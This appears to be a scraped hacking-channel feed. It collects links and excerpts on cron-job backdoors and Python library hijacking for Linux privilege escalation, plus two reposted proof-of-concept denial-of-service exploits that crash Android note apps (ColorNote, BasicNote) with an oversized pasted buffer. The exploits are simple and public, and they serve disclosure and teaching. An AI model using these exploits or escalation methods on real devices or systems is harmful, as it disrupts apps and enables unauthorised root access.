KitPloit - PenTest Tools!
403Fuzzer - Fuzz 403/401Ing Endpoints For Bypasses

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Learn about Linux cronjobs and how to interact with crontab

Many sysadmin use cron jobs for backup or maintenance purposes. But they are not maintained actively and it could become a vulnerable vector to gain a root shell and you can configure it to set up backdoors.

Learn more about it

https://www.secjuice.com/linux-basics-cron-jobs/

submitted by /u/tbhaxor
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Linux Privilege Escalation: Python Library Hijacking

In this article, we will demonstrate another method of Escalating Privileges on Linux-based Devices by exploiting the Python Libraries and scripts. Table of Content· Introduction· Python Script Creation· Method 1 [Write Permissions]o Vulnerability Creation Method 2 [Priority Order]o Vulnerability Creation Method 3 [PYTHONPATH Environment Variable]o Vulnerability Creation ConclusionIn general, whenever an attacker is introduced inside an environment that has python files. The options that the attacker can use to elevate its access are limited. There are 3 methods that we will discover in the article. Some misconfigurations include write permissions, sudo privileges, and editing the Path Variable.Python Script Creation To demonstrate the action of elevating privileges using python scripts, we created a sample script that imports some libraries. In a real-life scenario, this can be general python scripts or projects that a bunch of developers is working on. In a Capture the Flag Scenario, these are easy to find and might contain a script that would be similar to this one. The script imports the webbrowser module and then proceeds to use the open function to run the default web browser on the device to open the hackingarticles web page.nano hack.pyhttps://1.bp.blogspot.com/-ez-BEVvDBjg/YLkCb6zhVZI/AAAAAAAAwS4/jOW8bx2T6GsMTj7xLry83S0JH43D-kJ_gCLcBGAsYHQ/s16000/1.png python3 hack.py Method 1This vulnerability is based on the permissions that are applied to the Module file that our script is importing. When the module file that is being imported has permissions that allow any user to edit, it becomes a vulnerability. In the python script that we created; we have the webbrowser.py module file that is called. When you have an unaltered environment that has all the default permission, it is not an issue but in a development environment, there tends to have some compromises of security over minor convenience. To get a better understanding of what goes in the background, what permissions can lead to a privilege escalation we will first create the vulnerability in our ubuntu environment and then use Kali Linux to exploit this vulnerability. Vulnerability Creation As discussed, in this method the vulnerability is based on the permissions on the module file. To create this vulnerability, we need to locate the module file first. We used the locate command to find it. We see that it is located inside the /usr/lib/python3.8/. This could vary from installation to installation. So, try and locate it in your environment. Then we can see that the permission that is by default on the module file are read, write, execute permissions for owner, execute and read for group and only execute permissions for other. This means unless the user is the root, it cannot edit the file. To create the vulnerability, we changed the [...]

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Linux Privilege Escalation: Python Library Hijacking

___________________________
@hacking_Attack
@Hacking_Video

Install Naabu on Kali Linux
https://medium.com/@sherlock297/install-naabu-on-kali-linux-1264241d40de?source=rss------bug_bounty-5

Naabu : is a port scanning tool.Continue reading on Medium » (https://medium.com/@sherlock297/install-naabu-on-kali-linux-1264241d40de?source=rss------bug_bounty-5)

Hacking Articles
Linux Privilege Escalation: Python Library Hijacking

In this article, we will demonstrate another method of Escalating Privileges on Linux-based Devices by exploiting the Python Libraries and scripts. Table of Content Introduction Python Script Creation Method 1 [Write Permissions] Vulnerability Creation Exploitation Method 2 [Priority Order] Vulnerability Creation Exploitation Method 3 [PYTHONPATH Environment Variable] Vulnerability Creation Exploitation

The post Linux Privilege Escalation: Python Library Hijacking appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
ColorNote 4.1.9 Denial Of Service

https://3.bp.blogspot.com/-DuI_c3FaBwQ/WWlvaHZ97uI/AAAAAAAAIO8/N3071iSnuSkvxUt6NQQ_hoJeYx39DTurQCLcBGAs/s1600/h61.png
ColorNote version 4.1.9 suffers from a denial of service vulnerability.

MD5 | 14271b47e4c267dc72bccae9db685878

Download
# Exploit Title: ColorNote 4.1.9 - Denial of Service (PoC)
# Date: 2021-06-02
# Author: Brian Rodríguez
# Download Link: https://play.google.com/store/apps/details?id=com.socialnmobile.dictapps.notepad.color.note&hl=es_MX
# Version: 4.1.9
# Category: DoS (Android)

##### Vulnerability #####

Color Note is vulnerable to a DoS condition when a long list of characters is being used.

# STEPS #
# Open the program
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt in the new note.
# Click the "Return" button twice.
# Start clicking the screen.
# Crashed

Successful exploitation will causes application stop working.

I have been able to test this exploit against Android 8.0.

##### PoC #####
--> payload.py
#!/usr/bin/env python
buffer = "\x41" * 350000

try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
BasicNote 1.1.9 Denial Of Service

https://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png
BasicNote version 1.1.9 suffers from a denial of service vulnerability.

MD5 | 2865870db34a5f8332d1d4120755f438

Download
# Exploit Title: BasicNote 1.1.9 - Denial of Service (PoC)
# Date: 2021-06-02
# Author: Brian Rodríguez
# Download Link: https://play.google.com/store/apps/details?id=notizen.basic.notes.notas.note.notepad&hl=es_MX
# Version: 1.1.9
# Category: DoS (Android)

##### Vulnerability #####

BasicNote - Notas, Bloc de notas is vulnerable to a DoS condition when two long lists of characters are being used when creating a note:

# STEPS #
# Open the program
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed

Successful exploitation will causes application stop working.

I have been able to test this exploit against Android 8.0.

##### PoC #####

#!/usr/bin/env python
buffer = "\x41" * 350000

try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video